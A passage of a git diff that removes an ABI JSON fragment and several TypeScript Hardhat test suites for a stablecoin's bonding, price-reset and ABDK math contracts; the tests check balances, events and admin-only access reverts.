"future_A_time", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2321 - }, - { - "name": "name", - "outputs": [{ "type": "string", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 8753 - }, - { - "name": "symbol", - "outputs": [{ "type": "string", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 7806 - }, - { - "name": "balanceOf", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "address", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2626 - }, - { - "name": "allowance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "arg0" }, - { "type": "address", "name": "arg1" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2871 - }, - { - "name": "totalSupply", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2471 - } -] diff --git a/packages/contracts/dollar/test/ABDK.test.ts b/packages/contracts/dollar/test/ABDK.test.ts deleted file mode 100644 index b58006b00..000000000 --- a/packages/contracts/dollar/test/ABDK.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { BigNumber } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; - -import { ABDKTest } from "../artifacts/types/ABDKTest"; - -describe("ADBK", () => { - let abdk: ABDKTest; - - const maxABDK = BigNumber.from("0xffffffffffffffffffffffffffff800000000000000000000000000000000000"); - - before(async () => { - // deploy manager - const abdkFactory = await ethers.getContractFactory("ABDKTest"); - abdk = (await abdkFactory.deploy()) as ABDKTest; - }); - it("should return max uint128 at maximum", async () => { - const max = await abdk.max(); - expect(max).to.be.lt(ethers.constants.MaxUint256); - expect(max).to.equal(maxABDK); - }); - it("should revert if overflow", async () => { - const amountOK = BigNumber.from("11150372599265311570767859136324180752990207"); - const amountNOK = BigNumber.from("11150372599265311570767859136324180752990208"); - await expect(abdk.add(amountNOK)).to.be.reverted; - const max = await abdk.add(amountOK); - expect(max).to.equal(maxABDK); - }); -}); diff --git a/packages/contracts/dollar/test/Bonding.price.reset.test.ts b/packages/contracts/dollar/test/Bonding.price.reset.test.ts deleted file mode 100644 index 1f54f8908..000000000 --- a/packages/contracts/dollar/test/Bonding.price.reset.test.ts +++ /dev/null @@ -1,158 +0,0 @@ -import { expect } from "chai"; -import { Signer, BigNumber, ethers } from "ethers"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { bondingSetup, deposit } from "./BondingSetup"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { Bonding } from "../artifacts/types/Bonding"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { swapToUpdateOracle } from "./utils/swap"; - -describe("Bonding.Price.Reset", () => { - const one: BigNumber = BigNumber.from(10).pow(18); - let admin: Signer; - let secondAccount: Signer; - let treasury: Signer; - let secondAddress: string; - let bondingShare: BondingShare; - let uAD: UbiquityAlgorithmicDollar; - let bonding: Bonding; - let metaPool: IMetaPool; - let crvToken: ERC20; - let twapOracle: TWAPOracle; - beforeEach(async () => { - ({ admin, secondAccount, bondingShare, bonding, metaPool, uAD, treasury, crvToken, twapOracle } = await bondingSetup()); - secondAddress = await secondAccount.getAddress(); - }); - - it("for uAD should work and push uAD price higher", async () => { - const bondingUADBalanceBefore = await uAD.balanceOf(bonding.address); - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10000")); - - const amountOf3CRVforOneUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - // deposit 100 uLP more tokens in addition to the 100 already in the bonding contract - const idSecond = (await deposit(secondAccount, one.mul(100), 1)).id; - const bondBefore = await bondingShare.balanceOf(secondAddress, idSecond); - const bondingSCBalance = await metaPool.balanceOf(bonding.address); - - // value in LP of a bonding share - const shareValueBefore = await bonding.currentShareValue(); - const bondingShareTotalSupply = await bondingShare.totalSupply(); - // amount of uAD inside the treasury - const treasuryAdr = await treasury.getAddress(); - const treasuryUADBalanceBeforeReset = await uAD.balanceOf(treasuryAdr); - // priceBOND = totalLP / totalShares * TARGET_PRICE - const calculatedShareValue = bondingSCBalance.mul(one).div(bondingShareTotalSupply); - expect(shareValueBefore).to.equal(calculatedShareValue); - const amountToTreasury = ethers.utils.parseEther("199.709062633936701658"); - - await expect(bonding.uADPriceReset(bondingSCBalance)).to.emit(uAD, "Transfer").withArgs(bonding.address, treasuryAdr, amountToTreasury); - - const treasuryUADBalanceAfterReset = await uAD.balanceOf(treasuryAdr); - expect(treasuryUADBalanceAfterReset).to.equal(treasuryUADBalanceBeforeReset.add(amountToTreasury)); - - const bondAfter = await bondingShare.balanceOf(secondAddress, idSecond); - // bonding share should remain the same - expect(bondBefore).to.equal(bondAfter); - // amount of curve LP to be withdrawn should be less - const shareValueAfter = await bonding.currentShareValue(); - - const bondingSCBalanceAfter = await metaPool.balanceOf(bonding.address); - expect(bondingSCBalanceAfter).to.equal(0); - expect(shareValueAfter).to.equal(0); - const bondingUADBalanceAfter = await uAD.balanceOf(bonding.address); - const oraclePrice = await twapOracle.consult(uAD.address); - const amountOf3CRVforOneUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - // price of uAD against 3CRV should be less than before - // meaning for a uAD you can have more 3CRV - expect(amountOf3CRVforOneUADAfter).to.be.gt(amountOf3CRVforOneUADBefore); - const oracleCRVPrice = await twapOracle.consult(crvToken.address); - - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(bondingUADBalanceBefore).to.equal(0); - expect(bondingUADBalanceAfter).to.equal(0); - expect(pool0bal).to.equal(ethers.utils.parseEther("9800.270823277548456538")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - await swapToUpdateOracle(metaPool, crvToken, uAD, admin); - - await twapOracle.update(); - const oraclePriceLatest = await twapOracle.consult(uAD.address); - const oracleCRVPriceLatest = await twapOracle.consult(crvToken.address); - // After update the TWAP price of uAD against 3CRV should be greater than before - // the price of 3CRV against price of uAD should be lower than before - expect(oraclePriceLatest).to.be.gt(oraclePrice); - expect(oracleCRVPriceLatest).to.be.lt(oracleCRVPrice); - }); - it("for 3CRV should work and push uAD price lower", async () => { - const bondingUADBalanceBefore = await uAD.balanceOf(bonding.address); - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10000")); - - const amountOf3CRVforOneUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - // deposit 100 uLP more tokens in addition to the 100 already in the bonding contract - const idSecond = (await deposit(secondAccount, one.mul(100), 1)).id; - const bondBefore = await bondingShare.balanceOf(secondAddress, idSecond); - const bondingSCBalance = await metaPool.balanceOf(bonding.address); - // value in LP of a bonding share - const shareValueBefore = await bonding.currentShareValue(); - const bondingShareTotalSupply = await bondingShare.totalSupply(); - // amount of 3crv inside the treasury - const treasuryAdr = await treasury.getAddress(); - const treasury3CRVBalanceBeforeReset = await crvToken.balanceOf(treasuryAdr); - // priceBOND = totalLP / totalShares * TARGET_PRICE - const calculatedShareValue = bondingSCBalance.mul(one).div(bondingShareTotalSupply); - expect(shareValueBefore).to.equal(calculatedShareValue); - const amountToTreasury = ethers.utils.parseEther("196.586734740380915533"); - await expect(bonding.crvPriceReset(bondingSCBalance)).to.emit(crvToken, "Transfer").withArgs(bonding.address, treasuryAdr, amountToTreasury); - const treasury3CRVBalanceAfterReset = await crvToken.balanceOf(treasuryAdr); - expect(treasury3CRVBalanceAfterReset).to.equal(treasury3CRVBalanceBeforeReset.add(amountToTreasury)); - const bondAfter = await bondingShare.balanceOf(secondAddress, idSecond); - // bonding share should remain the same - expect(bondBefore).to.equal(bondAfter); - // amount of curve LP to be withdrawn should be less - const shareValueAfter = await bonding.currentShareValue(); - - const bondingSCBalanceAfter = await metaPool.balanceOf(bonding.address); - expect(bondingSCBalanceAfter).to.equal(0); - expect(shareValueAfter).to.equal(0); - const bondingUADBalanceAfter = await uAD.balanceOf(bonding.address); - - const oraclePrice = await twapOracle.consult(uAD.address); - const amountOf3CRVforOneUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - const oracleCRVPrice = await twapOracle.consult(crvToken.address); - // price of uAD against 3CRV should be lower than before - // meaning for a uAD you can have less 3CRV - expect(amountOf3CRVforOneUADAfter).to.be.lt(amountOf3CRVforOneUADBefore); - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(bondingUADBalanceBefore).to.equal(0); - expect(bondingUADBalanceAfter).to.equal(0); - expect(pool1bal).to.equal(ethers.utils.parseEther("9803.393775449769704549")); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - await swapToUpdateOracle(metaPool, crvToken, uAD, admin); - - await twapOracle.update(); - const oraclePriceLatest = await twapOracle.consult(uAD.address); - const oracleCRVPriceLatest = await twapOracle.consult(crvToken.address); - // After update the TWAP price of uAD against 3CRV should be lower than before - // the price of 3CRV against price of uAD should be greater than before - expect(oraclePriceLatest).to.be.lt(oraclePrice); - expect(oracleCRVPriceLatest).to.be.gt(oracleCRVPrice); - }); - - it("for uAD should revert if not admin", async () => { - const bondingSCBalance = await metaPool.balanceOf(bonding.address); - await expect(bonding.connect(secondAccount).uADPriceReset(bondingSCBalance)).to.be.revertedWith("Caller is not a bonding manager"); - }); - it("for 3CRV should revert if not admin", async () => { - const bondingSCBalance = await metaPool.balanceOf(bonding.address); - await expect(bonding.connect(secondAccount).crvPriceReset(bondingSCBalance)).to.be.revertedWith("Caller is not a bonding manager"); - }); -}); diff --git a/packages/contracts/dollar/test/Bonding.test.ts b/packages/contracts/dollar/test/Bonding.test.ts deleted file mode 100644 index a0e1e39eb..000000000 --- a/packages/contracts/dollar/test/Bonding.test.ts +++ /dev/null @@ -1,154 +0,0 @@ -import { ethers, Signer } from "ethers"; -import { describe, it } from "mocha"; -import { expect } from "./setup"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { Bonding } from "../artifacts/types/Bonding"; -import { bondingSetup } from "./BondingSetup"; - -describe("Bonding", () => { - let bonding: Bonding; - let admin: Signer; - let secondAccount: Signer; - let uAD: UbiquityAlgorithmicDollar; - let sablier: string; - let DAI: string; - let USDC: string; - let twapOracle: TWAPOracle; - - before(async () => { - ({ admin, secondAccount, uAD, bonding, twapOracle, sablier, DAI, USDC } = await bondingSetup()); - }); - describe("CollectableDust", () => { - it("Admin should be able to add protocol token (CollectableDust)", async () => { - await bonding.connect(admin).addProtocolToken(USDC); - }); - - it("should revert when another account tries to add protocol token (CollectableDust)", async () => { - await expect(bonding.connect(secondAccount).addProtocolToken(USDC)).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("should revert when trying to add an already existing protocol token (CollectableDust)", async () => { - await expect(bonding.connect(admin).addProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-is-part-of-the-protocol"); - }); - - it("should revert when another account tries to remove a protocol token (CollectableDust)", async () => { - await expect(bonding.connect(secondAccount).removeProtocolToken(USDC)).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("Admin should be able to remove protocol token (CollectableDust)", async () => { - await bonding.connect(admin).removeProtocolToken(USDC); - }); - - it("should revert when trying to remove token that is not a part of the protocol (CollectableDust)", async () => { - await expect(bonding.connect(admin).removeProtocolToken(USDC)).to.be.revertedWith("collectable-dust::token-not-part-of-the-protocol"); - }); - - it("Admin should be able to send dust from the contract (CollectableDust)", async () => { - // Send ETH to the Bonding contract - await secondAccount.sendTransaction({ - to: bonding.address, - value: ethers.utils.parseUnits("100", "gwei"), - }); - - // Send dust back to the admin - await bonding.connect(admin).sendDust(await admin.getAddress(), await bonding.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei")); - }); - - it("should emit DustSent event (CollectableDust)", async () => { - await expect(bonding.connect(admin).sendDust(await admin.getAddress(), await bonding.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei"))) - .to.emit(bonding, "DustSent") - .withArgs(await admin.getAddress(), await bonding.ETH_ADDRESS(), ethers.utils.parseUnits("50", "gwei")); - }); - it("should revert when another account tries to remove dust from the contract (CollectableDust)", async () => { - await expect( - bonding.connect(secondAccount).sendDust(await admin.getAddress(), await bonding.ETH_ADDRESS(), ethers.utils.parseUnits("100", "gwei")) - ).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("should emit ProtocolTokenAdded event (CollectableDust)", async () => { - await expect(bonding.connect(admin).addProtocolToken(DAI)).to.emit(bonding, "ProtocolTokenAdded").withArgs(DAI); - }); - - it("should emit ProtocolTokenRemoved event (CollectableDust)", async () => { - await expect(bonding.connect(admin).removeProtocolToken(DAI)).to.emit(bonding, "ProtocolTokenRemoved").withArgs(DAI); - }); - }); - - describe("blockCountInAWeek", () => { - it("Admin should be able to update the blockCountInAWeek", async () => { - await bonding.connect(admin).setBlockCountInAWeek(ethers.BigNumber.from(2)); - expect(await bonding.blockCountInAWeek()).to.equal(ethers.BigNumber.from(2)); - }); - - it("should revert when unauthorized accounts try to update the bondingDiscountMultiplier", async () => { - await expect(bonding.connect(secondAccount).setBlockCountInAWeek(ethers.BigNumber.from(2))).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("should emit the BondingDiscountMultiplierUpdated event", async () => { - await expect(bonding.connect(admin).setBlockCountInAWeek(ethers.BigNumber.from(2))) - .to.emit(bonding, "BlockCountInAWeekUpdated") - .withArgs(ethers.BigNumber.from(2)); - }); - }); - - describe("bondingDiscountMultiplier", () => { - it("Admin should be able to update the bondingDiscountMultiplier", async () => { - await bonding.connect(admin).setBondingDiscountMultiplier(ethers.BigNumber.from(2)); - expect(await bonding.bondingDiscountMultiplier()).to.equal(ethers.BigNumber.from(2)); - }); - - it("should revert when unauthorized accounts try to update the bondingDiscountMultiplier", async () => { - await expect(bonding.connect(secondAccount).setBondingDiscountMultiplier(ethers.BigNumber.from(2))).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("should emit the BondingDiscountMultiplierUpdated event", async () => { - await expect(bonding.connect(admin).setBondingDiscountMultiplier(ethers.BigNumber.from(2))) - .to.emit(bonding, "BondingDiscountMultiplierUpdated") - .withArgs(ethers.BigNumber.from(2)); - }); - }); - - describe("redeemStreamTime", () => { - it("Admin should be able to update the redeemStreamTime", async () => { - await bonding.connect(admin).setRedeemStreamTime(ethers.BigNumber.from("0")); - - expect(await bonding.redeemStreamTime()).to.equal(ethers.BigNumber.from("0")); - }); - - it("should revert when unauthorized accounts try to update the redeemStreamTime", async () => { - await expect(bonding.connect(secondAccount).setRedeemStreamTime(ethers.BigNumber.from(0))).to.be.revertedWith("Caller is not a bonding manager"); - }); - - it("should emit the RedeemStreamTimeUpdated event", async () => { - await expect(bonding.connect(admin).setRedeemStreamTime(ethers.BigNumber.from("604800"))) - .to.emit(bonding, "RedeemStreamTimeUpdated") - .withArgs(ethers.BigNumber.from("604800")); - }); - }); - - describe("StableSwap meta pool TWAP oracle", () => { - it("Oracle should return the correct initial price", async () => { - expect(await twapOracle.consult(uAD.address)).to.equal(ethers.utils.parseEther("1")); - }); - }); - - describe("Sablier configuration", () => { - it("should return the current Sablier address", async () => { - expect(await bonding.sablier()).to.equal(sablier); - }); - - it("admin should be able to update the Sablier address", async () => { - await bonding.connect(admin).setSablier(ethers.constants.AddressZero); - expect(await bonding.sablier()).to.equal(ethers.constants.AddressZero); - }); - - it("should emit the SablierUpdated event", async () => { - await expect(bonding.connect(admin).setSablier(DAI)).to.emit(bonding, "SablierUpdated").withArgs(DAI); - }); - - it("should revert when another account tries to update the Sablier address", async () => { - await expect(bonding.connect(secondAccount).setSablier(ethers.constants.AddressZero)).to.be.revertedWith("Caller is not a bonding manager"); - }); - }); -}); diff --git a/packages/contracts/dollar/test/Bonding1.test.ts b/packages/contracts/dollar/test/Bonding1.test.ts deleted file mode 100644 index a39408697..000000000 --- a/packages/contracts/dollar/test/Bonding1.test.ts +++ /dev/null @@ -1,80 +0,0 @@ -import { expect } from "chai"; -import { ethers, Signer, BigNumber } from "ethers"; -import { Bonding } from "../artifacts/types/Bonding"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { bondingSetup, deposit, withdraw } from "./BondingSetup"; -import { mineNBlock } from "./utils/hardhatNode"; - -describe("Bonding1", () => { - let idBlock: number; - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - - let uAD: UbiquityAlgorithmicDollar; - let bonding: Bonding; - let bondingShare: BondingShare; - let sablier: string; - let secondAccount: Signer; - let blockCountInAWeek: BigNumber; - before(async () => { - ({ secondAccount, uAD, bonding, bondingShare, sablier, blockCountInAWeek } = await bondingSetup()); - }); - describe("initialValues", () => { - it("initial uAD totalSupply should be more than 30 010 (3 * 10 000 + 10)", async () => { - const uADtotalSupply: BigNumber = await uAD.totalSupply(); - const uADinitialSupply: BigNumber = BigNumber.from(10).pow(18).mul(30010); - - expect(uADtotalSupply).to.gte(uADinitialSupply); - }); - - it("initial bonding totalSupply should be 0", async () => { - const bondTotalSupply: BigNumber = await bondingShare.totalSupply(); - const zero: BigNumber = BigNumber.from(0); - - expect(bondTotalSupply).to.eq(zero); - }); - - it("initial currentShareValue should be one", async () => { - const currentShareValue: BigNumber = await bonding.currentShareValue(); - const targetPrice: BigNumber = one; - - expect(currentShareValue).to.eq(targetPrice); - }); - - it("initial currentTokenPrice should be one", async () => { - const currentTokenPrice: BigNumber = await bonding.currentTokenPrice(); - const targetPrice: BigNumber = one; - - expect(currentTokenPrice).to.eq(targetPrice); - }); - }); - - describe("deposit", () => { - it("User should be able to bond tokens", async () => { - const { id, bond } = await deposit(secondAccount, one.mul(100), 1); - idBlock = id; - expect(bond).to.be.gte(one.mul(100)); - await mineNBlock(blockCountInAWeek.toNumber()); - }); - }); - - describe("withdraw", () => { - it("should revert when users try to redeem more shares than they have", async () => { - await expect(bonding.connect(secondAccount).withdraw(ethers.utils.parseEther("10000"), idBlock)).to.be.revertedWith( - "Bonding: caller does not have enough shares" - ); - }); - it("Users should be able to redeem all their shares", async () => { - const bondBefore: BigNumber = await bondingShare.balanceOf(await secondAccount.getAddress(), idBlock); - const lp = await withdraw(secondAccount, idBlock); - const bondAfter: BigNumber = await bondingShare.balanceOf(await secondAccount.getAddress(), idBlock); - expect(lp).to.be.gt(0); - expect(bondBefore).to.be.gt(0); - expect(bondAfter).to.be.equal(0); - }); - - it("should return the current Sablier address", async () => { - expect(await bonding.sablier()).to.equal(sablier); - }); - }); -}); diff --git a/packages/contracts/dollar/test/Bonding2.test.ts b/packages/contracts/dollar/test/Bonding2.test.ts deleted file mode 100644 index 3b2b7fe11..000000000 --- a/packages/contracts/dollar/test/Bonding2.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { expect } from "chai"; -import { Signer, BigNumber, ethers } from "ethers"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { Bonding } from "../artifacts/types/Bonding"; -import { bondingSetup, deposit, withdraw } from "./BondingSetup"; -import { mineNBlock } from "./utils/hardhatNode"; -import { calcShareInToken, isAmountEquivalent } from "./utils/calc"; - -describe("Bonding2", () => { - let idAdmin: number; - let idSecond: number; - const one: BigNumber = BigNumber.from(10).pow(18); - - let metaPool: IMetaPool; - let bonding: Bonding; - let bondingShare: BondingShare; - let admin: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let adminAddress: string; - let secondAddress: string; - let thirdAddress: string; - let blockCountInAWeek: BigNumber; - - before(async () => { - ({ admin, secondAccount, thirdAccount, metaPool, bonding, bondingShare, blockCountInAWeek } = await bondingSetup()); - adminAddress = await admin.getAddress(); - secondAddress = await secondAccount.getAddress(); - thirdAddress = await thirdAccount.getAddress(); - }); - describe("Bonding and Redeem", () => { - it("admin should have some uLP tokens", async () => { - const bal = await metaPool.balanceOf(adminAddress); - expect(bal).to.be.gte(one.mul(1000)); - }); - - it("second account should have some uLP tokens", async () => { - const bal = await metaPool.balanceOf(secondAddress); - expect(bal).to.be.gte(one.mul(1000)); - }); - - it("third account should have no uLP tokens", async () => { - expect(await metaPool.balanceOf(thirdAddress)).to.be.equal(0); - }); - - it("total uLP of bonding contract should start at 100", async () => { - const bal = await metaPool.balanceOf(bonding.address); - expect(bal).to.be.equal(one.mul(100)); - }); - - it("total uBOND should be 0", async () => { - const totalUBOND = await bondingShare.totalSupply(); - expect(totalUBOND).to.be.equal(0); - }); - - it("admin should be able to bound", async () => { - const { id, bond } = await deposit(admin, one.mul(100), 1); - idAdmin = id; - expect(bond).to.equal(ethers.utils.parseEther("100.099999999999999999")); - const bondIds = await bondingShare.holderTokens(await admin.getAddress()); - expect(id).to.equal(bondIds[0]); - }); - - it("total uBOND should be 100.01", async () => { - const totalUBOND: BigNumber = await bondingShare.totalSupply(); - expect(totalUBOND).to.equal(ethers.utils.parseEther("100.099999999999999999")); - }); - - it("second account should be able to bound", async () => { - const { id, bond } = await deposit(secondAccount, one.mul(100), 1); - idSecond = id; - expect(bond).to.equal(ethers.utils.parseEther("100.099999999999999999")); - const bondIds = await bondingShare.holderTokens(await secondAccount.getAddress()); - expect(id).to.equal(bondIds[0]); - }); - - it("third account should not be able to bound with no LP token", async () => { - const bal = await metaPool.balanceOf(await thirdAccount.getAddress()); - expect(bal).to.equal(0); - await expect(deposit(thirdAccount, BigNumber.from(1), 1)).to.be.revertedWith("SafeERC20: low-level call failed"); - }); - - it("total uLP should be 300", async () => { - const totalLP: BigNumber = await metaPool.balanceOf(bonding.address); - expect(totalLP).to.be.equal(one.mul(300)); - }); - - it("total uBOND should be equal to the sum of the share minted", async () => { - const totalUBOND: BigNumber = await bondingShare.totalSupply(); - const balSecond = await bondingShare.balanceOf(await secondAccount.getAddress(), idSecond); - const balAdmin = await bondingShare.balanceOf(await admin.getAddress(), idAdmin); - - expect(totalUBOND).to.equal(balSecond.add(balAdmin)); - expect(totalUBOND).to.be.gt(one.mul(200)); - }); - - it("admin account should be able to redeem uBOND", async () => { - await mineNBlock(blockCountInAWeek.toNumber()); - const balBSBefore = await bondingShare.balanceOf(adminAddress, idAdmin); - expect(balBSBefore).to.be.equal(ethers.utils.parseEther("100.099999999999999999")); - const totalSupplyBSBefore = await bondingShare.totalSupply(); - const TotalLPInBondingBefore = await metaPool.balanceOf(bonding.address); - const balLPBefore = await metaPool.balanceOf(adminAddress); - expect(balLPBefore).to.be.equal(ethers.utils.parseEther("18974.979391392984888116")); - await withdraw(admin, idAdmin); - const TotalLPInBondingAfter = await metaPool.balanceOf(bonding.address); - const totalSupplyBSAfter = await bondingShare.totalSupply(); - const balLPAfter = await metaPool.balanceOf(adminAddress); - const balBSAfter = await bondingShare.balanceOf(adminAddress, idAdmin); - const calculatedLPToWithdraw = calcShareInToken(totalSupplyBSBefore.toString(), balBSBefore.toString(), TotalLPInBondingBefore.toString()); - expect(balBSAfter).to.be.equal(0); - const lpWithdrawn = balLPAfter.sub(balLPBefore); - const isPrecise = isAmountEquivalent(lpWithdrawn.toString(), calculatedLPToWithdraw.toString(), "0.000000000000000001"); - expect(isPrecise).to.be.true; - expect(TotalLPInBondingBefore).to.equal(TotalLPInBondingAfter.add(lpWithdrawn)); - expect(totalSupplyBSAfter).to.equal(totalSupplyBSBefore.sub(balBSBefore)); - }); - - it("second account should be able to redeem uBOND", async () => { - const balBSBefore = await bondingShare.balanceOf(secondAddress, idSecond); - const totalSupplyBSBefore = await bondingShare.totalSupply(); - const TotalLPInBondingBefore = await metaPool.balanceOf(bonding.address); - const balLPBefore = await metaPool.balanceOf(secondAddress); - await withdraw(secondAccount, idSecond); - const TotalLPInBondingAfter = await metaPool.balanceOf(bonding.address); - const totalSupplyBSAfter = await bondingShare.totalSupply(); - const balLPAfter = await metaPool.balanceOf(secondAddress); - const balBSAfter = await bondingShare.balanceOf(secondAddress, idSecond); - const calculatedLPToWithdraw = calcShareInToken(totalSupplyBSBefore.toString(), balBSBefore.toString(), TotalLPInBondingBefore.toString()); - expect(balBSAfter).to.be.equal(0); - const lpWithdrawn = balLPAfter.sub(balLPBefore); - const isPrecise = isAmountEquivalent(lpWithdrawn.toString(), calculatedLPToWithdraw.toString(), "0.000000000000000001"); - expect(isPrecise).to.be.true; - expect(TotalLPInBondingBefore).to.equal(TotalLPInBondingAfter.add(lpWithdrawn)); - expect(totalSupplyBSAfter).to.equal(totalSupplyBSBefore.sub(balBSBefore)); - }); - - it("third account should be able to redeem uBOND", async () => { - const balBSBefore = await bondingShare.balanceOf(thirdAddress, idAdmin); - expect(balBSBefore).to.equal(0); - const balLPBefore = await metaPool.balanceOf(thirdAddress); - await withdraw(thirdAccount, idAdmin); - expect(await bondingShare.balanceOf(thirdAddress, idAdmin)).to.be.equal(0); - const balLPAfter = await metaPool.balanceOf(thirdAddress); - expect(balLPBefore).to.equal(balLPAfter); - }); - - it("total uLP should be 0 after all redeem", async () => { - const totalLP: BigNumber = await metaPool.balanceOf(bonding.address); - expect(totalLP).to.be.lt(BigNumber.from(10).pow(16)); - }); - - it("total uBOND should be 0 after all redeem", async () => { - const totalUBOND: BigNumber = await bondingShare.totalSupply(); - expect(totalUBOND).to.be.equal(0); - }); - }); -}); diff --git a/packages/contracts/dollar/test/Bonding3.test.ts b/packages/contracts/dollar/test/Bonding3.test.ts deleted file mode 100644 index 67cb58b02..000000000 --- a/packages/contracts/dollar/test/Bonding3.test.ts +++ /dev/null @@ -1,82 +0,0 @@ -import { expect } from "chai"; -import { Signer, BigNumber, ethers } from "ethers"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { bondingSetup, deposit, withdraw } from "./BondingSetup"; -import { mineNBlock } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { calcShareInToken, isAmountEquivalent } from "./utils/calc"; -import { Bonding } from "../artifacts/types/Bonding"; - -describe("Bonding3", () => { - const one: BigNumber = BigNumber.from(10).pow(18); - - let admin: Signer; - let secondAccount: Signer; - let secondAddress: string; - let bondingShare: BondingShare; - let bonding: Bonding; - let metaPool: IMetaPool; - let blockCountInAWeek: BigNumber; - - before(async () => { - ({ admin, secondAccount, bondingShare, bonding, metaPool, blockCountInAWeek } = await bondingSetup()); - secondAddress = await secondAccount.getAddress(); - }); - - describe("Bonding time and redeem", () => { - let idSecond: number; - - it("second account should be able to bound for 1 weeks", async () => { - await metaPool.balanceOf(secondAddress); - idSecond = (await deposit(secondAccount, one.mul(100), 1)).id; - - const bond: BigNumber = await bondingShare.balanceOf(secondAddress, idSecond); - const isPrecise = isAmountEquivalent(bond.toString(), "100100000000000000000", "0.00000000000000000001"); - expect(isPrecise).to.be.true; - }); - it("second account should not be able to redeem before 1 week", async () => { - await expect(withdraw(secondAccount, idSecond)).to.be.revertedWith("Bonding: Redeem not allowed before bonding time"); - }); - - it("second account should be able to redeem after 1 week", async () => { - const secondAccountAdr = await secondAccount.getAddress(); - const balBSBefore = await bondingShare.balanceOf(secondAccountAdr, idSecond); - expect(balBSBefore).to.be.equal(ethers.utils.parseEther("100.099999999999999999")); - const totalSupplyBSBefore = await bondingShare.totalSupply(); - const TotalLPInBondingBefore = await metaPool.balanceOf(bonding.address); - const balLPBefore = await metaPool.balanceOf(secondAccountAdr); - expect(balLPBefore).to.be.equal(ethers.utils.parseEther("900")); - await mineNBlock(blockCountInAWeek.toNumber()); - await withdraw(secondAccount, idSecond); - - const TotalLPInBondingAfter = await metaPool.balanceOf(bonding.address); - const totalSupplyBSAfter = await bondingShare.totalSupply(); - const balLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balBSAfter = await bondingShare.balanceOf(secondAccountAdr, idSecond); - const calculatedLPToWithdraw = calcShareInToken(totalSupplyBSBefore.toString(), balBSBefore.toString(), TotalLPInBondingBefore.toString()); - expect(balBSAfter).to.be.equal(0); - const lpWithdrawn = balLPAfter.sub(balLPBefore); - const isPrecise = isAmountEquivalent(lpWithdrawn.toString(), calculatedLPToWithdraw.toString(), "0.000000000000000001"); - expect(isPrecise).to.be.true; - expect(TotalLPInBondingBefore).to.equal(TotalLPInBondingAfter.add(lpWithdrawn)); - expect(totalSupplyBSAfter).to.equal(totalSupplyBSBefore.sub(balBSBefore)); - }); - - it("admin and second account should be able to bound on same block", async () => { - const secondAccountAdr = await secondAccount.getAddress(); - const adminAdr = await admin.getAddress(); - const totalSupplyBSBefore = await bondingShare.totalSupply(); - const TotalLPInBondingBefore = await metaPool.balanceOf(bonding.address); - const [bondAdmin, bondSecond] = await Promise.all([deposit(admin, one.mul(100), 1), deposit(secondAccount, one.mul(100), 1)]); - const TotalLPInBondingAfter = await metaPool.balanceOf(bonding.address); - expect(TotalLPInBondingAfter).to.equal(TotalLPInBondingBefore.add(one.mul(200))); - const { id } = bondAdmin; - expect(bondAdmin.id).to.be.equal(bondSecond.id); - const secAccBalBS = await bondingShare.balanceOf(secondAccountAdr, id); - const adminBalBS = await bondingShare.balanceOf(adminAdr, id); - - const totalSupplyBSAfter = await bondingShare.totalSupply(); - expect(totalSupplyBSAfter).to.equal(totalSupplyBSBefore.add(secAccBalBS).add(adminBalBS)); - }); - }); -}); diff --git 